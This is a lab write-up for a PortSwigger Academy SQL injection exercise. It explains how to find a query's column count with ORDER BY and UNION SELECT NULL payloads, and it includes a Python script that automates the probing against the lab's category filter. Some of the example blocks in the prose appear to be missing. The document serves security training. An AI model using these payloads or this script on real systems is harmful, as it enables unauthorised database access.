Credits for this code go to [Rana Khalil's YouTube Channel](https://www.youtube.com/channel/UCKaK-XPQAbznwIISC46b1oA).

When an application is vulnerable to SQL injection and the results of the query are returned within the application's responses, the `UNION` keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.

The `UNION` keyword lets you execute one or more additional `SELECT` queries and append the results to the original query. For example:

This SQL query will return a single result set with two columns, containing values from columns `a` and `b` in `table1` and columns `c` and `d` in `table2`.

For a `UNION` query to work, two key requirements must be met:

- The individual queries must return the same number of columns.

- The data types in each column must be compatible between the individual queries.

To carry out an SQL injection UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:

- How many columns are being returned from the original query?

- Which columns returned from the original query are of a suitable data type to hold the results from the injected query?

When performing an SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.

The first method involves injecting a series of `ORDER BY` clauses and incrementing the specified column index until an error occurs. For example, assuming the injection point is a quoted string within the `WHERE` clause of the original query, you would submit:

This series of payloads modifies the original query to order the results by different columns in the result set. The column in an `ORDER BY` clause can be specified by its index, so you don't need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as:

The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query.

The second method involves submitting a series of `UNION SELECT` payloads specifying a different number of null values:

If the number of nulls does not match the number of columns, the database returns an error, such as:

Again, the application might actually return this error message, or might just return a generic error or no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the resulting HTTP response depends on the application's code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a `NullPointerException`. Worst case, the response might be indistinguishable from that which is caused by an incorrect number of nulls, making this method of determining the column count ineffective.

- The reason for using `NULL` as the values returned from the injected `SELECT` query is that the data types in each column must be compatible between the original and the injected queries. Since `NULL` is convertible to every commonly used data type, using `NULL` maximizes the chance that the payload will succeed when the column count is correct.

- On Oracle, every `SELECT` query must use the `FROM` keyword and specify a valid table. There is a built-in table on Oracle called `dual` which can be used for this purpose. So the injected queries on Oracle would need to look like:

`' UNION SELECT NULL FROM DUAL--`

- The payloads described use the double-dash comment sequence `--` to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character `#` can be used to identify a comment.

For more details of database-specific syntax, see the [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing an [SQL injection UNION](https://portswigger.net/web-security/sql-injection/union-attacks) attack that returns an additional row containing null values.

$ python3 sqli_lab_03.py https://ac0f1f641f2e33ebc0bd0xxxxxxxx.web-security-academy.net/

>> SQL injection UNION attack, determining the number of columns returned by the query

>> by Port Swigger Academy

[*] Figuring out number of columns...

[✓] The number of columns is 3.

import requests

import sys

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Interface ():

def __init__ (self):

self.red = '\033[91m'

self.green = '\033[92m'

self.white = '\033[37m'

self.yellow = '\033[93m'

self.bold = '\033[1m'

self.end = '\033[0m'

def header(self):

print('\n >> SQL injection UNION attack, determining the number of columns returned by the query')

print(' >> by Port Swigger Academy\n')

def info (self, message):

print(f"[{self.white}*{self.end}] {message}")

def warning (self, message):

print(f"[{self.yellow}!{self.end}] {message}")

def error (self, message):

print(f"[{self.red}x{self.end}] {message}")

def success (self, message):

print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}")

global output

output = Interface()

output.header()

proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

def exploit_sqli_column_number(url):

path = "filter?category=Gifts"

for i in range(1,50):

sql_payload = "'+ORDER+BY+%s--" %i

r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)

res = r.text

if "Internal Server Error" in res:

return i - 1

i = i + 1

return False

if __name__ == "__main__":

try:

url = sys.argv[1].strip()

except IndexError:

output.info("Usage: %s <url>" % sys.argv[0])

output.info("Example: %s www.example.com" % sys.argv[0])

sys.exit(-1)

output.info("Figuring out number of columns...")

num_col = exploit_sqli_column_number(url)

if num_col:

output.success("The number of columns is " + str(num_col) + ".")

else:

output.error("SQLi attack was not successful!")